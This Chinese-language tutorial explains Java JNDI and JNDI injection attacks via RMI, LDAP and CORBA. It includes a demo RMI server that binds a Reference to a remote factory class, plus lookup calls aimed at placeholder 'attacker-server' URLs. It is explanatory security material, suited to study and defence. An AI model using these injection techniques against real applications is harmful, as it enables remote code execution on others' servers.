1. JNDI
1.1 JNDI基本概念
JNDI(Java Naming and DIrecroty Interface),是java命名与目录接口,JNDI包括Naming Service和Directory Service,通过名称来寻找数据和对象的API,也称为一种绑定。JNDI可访问的现有的目录及服务有:JDBC、LDAP、RMI、DNS、NIS、CORBA。
//web.xml
<Environment name="jndiName" value="jndiValue" type="java.lang.String" />
//index.jsp
<%
Context ctx=new InitialContext();
String testjndi=(String) ctx.lookup("java:comp/env/jndiName");
out.print(testjndi);
%>
Naming Service:命名服务是将名称与值相关联的实体,称为绑定。通过find/search操作根据名称查找对象。上述的RMI Registry就是使用的Naming Service。
Directory Service:是一种特殊的Naming Service,允许存储和搜索“目录对象”,目录对象可以与属性相关联。一个目录是一个类似树的分层结构库。LDAP就是用的Directory Service。
1.2 RMI与JNDI
JNDI提供了与不同类型的服务交互的公共接口。但其自身不区分客户端和服务端,也不具备远程能力。JNDI在客户端上主要进行访问、查询和检索等,在服务端主要进行配置管理等,比如在RMI服务端上不直接使用Registry进行bind而使用JNDI统一管理。
JNDI架构如下图,Naming Manager包含用于创建上下文对象和对象的静态方法。服务器提供者接口(SPI)允许JNDI管理不同的服务。
JNDI接口在初始化时,可以将RMI URL作为参数传入,而JNDI注入就出现在客户端的lookup()函数中,如果lookup()的参数可控就可能被攻击
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
//com.sun.jndi.rmi.registry.RegistryContextFactory 是RMI Registry Service Provider对应的Factory
env.put(Context.PROVIDER_URL, "rmi://kingx_kali:8080");
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("rmi://kingx_kali:8080/test")
//将名称refObj与一个对象绑定,这里底层也是调用的rmi的registry去绑定
ctx.bind("refObj", new RefObject());
//通过名称查找对象
ctx.lookup("refObj");
在JNDI服务中,RMI服务端除了直接绑定远程对象之外(JAVA序列化传输对象到远程服务器),还可以通过命名引用的方式通过绑定,由命名管理器进行解析的一个引用。引用由References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
Reference reference = new Reference("MyClass","MyClass",FactoryURL);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
ctx.bind("Foo", wrapper);
1.3 JNDI动态协议转换
JNDI除了与RMI搭配使用,还可以与LDAP、CORBA等,JNDI与LDAP配合使用方式如下:
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, "ldap://localhost:1389");
DirContext ctx = new InitialDirContext(env);
//通过名称查找远程对象,假设远程服务器已经将一个远程对象与名称cn=foo,dc=test,dc=org绑定了
Object local_obj = ctx.lookup("cn=foo,dc=test,dc=org");
这是手动设置服务工厂及PROVIDER_URL的方式,JNDI还提供协议的动态转换,即使我们不设置上述内容,如果ctx.lookup("rmi://attacker-server/refObj");
执行便自动转换对应服务。
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext(env);
String name = "ldap://attacker-server/cn=bar,dc=test,dc=org";
//通过名称查找对象
ctx.lookup(name);
此处的lookup中的参数如果可控就可以根据攻击者提供的URL进行动态转换。
1.4 JDNI注入
JNDI注入是BlackHat 2016(USA)@pentester 的一个议题"A Journey From JNDI LDAP Manipulation To RCE"提出的。
根据上述demo可以发现JNDI注入流程是(以RMI为例),如果目标代码中调用了InitialContext.lookup(URI),且URI为用户可控->攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_rmi_server//name
->攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类->目标在进行lookup()操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例;->攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到RCE的效果。调用链为:RegistryContext.decodeObject()->NamingManager.getObjectInstance()-> factory.getObjectInstance()
JNDI主要的攻击向量有:RMI、JNDI Reference、Remote Object、LDAP、Serialized Object、JNDI Reference、Remote Location、CORBA、IOR
(1)JNDI Reference+RMI
public class RMIServer1 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(9999);
// Reference refObj = new Reference("refClassName", "FactoryClassName", "http://example.com:12345/");//refClassName为类名加上包名,FactoryClassName为工厂类名并且包含工厂类的包名
Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);
}
}
public class RMIClient1 {
public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,
"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,
"rmi://localhost:9999");
Context ctx = new InitialContext();
ctx.lookup("rmi://localhost:9999/refObj");
}
}
当运行lookup函数时,RegistryContext.decodeObject() 会被调用,然后调用NamingManager.getObjectInstance() 进行实例化,最终返回Reference,然后getObjectFactoryFromReference() 会从Reference中得到实例化的类。攻击者可以提供自己的工厂类,一旦实例化就会运行payload。
整个攻击过程为:攻击者为JNDI lookup提供了一个绝对的RMI URL,然后服务器连接到攻击者控制的RMI注册表,该注册表将返回恶意的JNDI引用,服务器解码JNDI引用后从攻击者控制的服务器获取工厂类,进行实例化的时候payload执行。所以此攻击方式可以用于 Spring's JndiTemplate或Apache’s Shiro JndiTemplate 等调用InitialContext.lookup()的情况。
(2)JNDI+LDAP
Naming Manager在JAVA对象(JAVA序列化、JNDI references等)解析运行时可能造成RCE,DirContext.lookup() JNDI注入和“LDAP Entry Poisoning”的主要区别是,对于前者,攻击者就可以使用自己的LDAP服务器,对于后者,攻击者需要攻击LDAP服务器条目,与应用程序交互时等待期返回被攻击条目的属性。
攻击过程为:攻击者为JND lookup提供了一个绝对LDAP URL,服务器连接到攻击者控制的LDAP服务器,该服务器返回恶意的JNDI引用。服务器解码JNDI引用从攻击者控制的服务器获取工厂类,实例化工厂类时payload得以执行。
LDAP Entry Poisoning
LDAP攻击主要针对于属性而非对象,例如,用lookup方法查找对象时,search()方法是在检索LDAP条目的所需属性(例如:用户名、密码、电子邮件等),当只请求属性时,就不会有可能危及服务器的Java对象解码。然而,如果应用程序执行搜索操作,并将returnObjFlag设置为true,那么控制LDAP响应的攻击者将能够在应用服务器上执行任意命令。
(3)JNDI+CORBA
org.omg.CORBA.Object read_Object会对IOR进行解析
public org.omg.CORBA.Object read_Object(Class clz) {
// In any case, we must first read the IOR.
IOR ior = IORFactories.makeIOR(parent);
if (ior.isNil()) return null;
PresentationManager.StubFactoryFactory sff = ORB.getStubFactoryFactory();
String codeBase = ior.getProfile().getCodebase(); <1>
PresentationManager.StubFactory stubFactory = null;
if (clz == null) {
RepositoryId rid = RepositoryId.cache.getId(ior.getTypeId()); <2>
String className = rid.getClassName();
boolean isIDLInterface = rid.isIDLType();
if (className == null || className.equals( "" )) stubFactory = null;
else
try { <3>
stubFactory = sff.createStubFactory(className, isIDLInterface, codeBase, (Class)null, (ClassLoader)null);
}
catch (Exception exc) {
stubFactory = null;
}
else if (StubAdapter.isStubClass( clz )) {
stubFactory = PresentationDefaults.makeStaticStubFactory(clz);
} else {
// clz is an interface class
boolean isIDL = IDLEntity.class.isAssignableFrom( clz ) ;
stubFactory = sff.createStubFactory( clz.getName(),isIDL, codeBase, clz, clz.getClassLoader() ) ;
}
return internalIORToObject( ior, stubFactory, orb ) ;
}
攻击者可以手工创建一个IOR,该IOR指定在他控制下的代码库位置<1>和IDL接口<2>,即存根工厂的位置。然后,它可以将运行有效负载的存根工厂类放在其构造函数中,并在目标服务器<3>中实例化存根,从而成功地运行payload
攻击过程:攻击者为JNDI lookup提供了一个绝对的IIOP URL。服务器连接到攻击者控制的ORB,该ORB将返回恶意IOR,然后服务器解码IOR从攻击者控制的服务器获取存根工厂类。进行实例化的同时payload执行。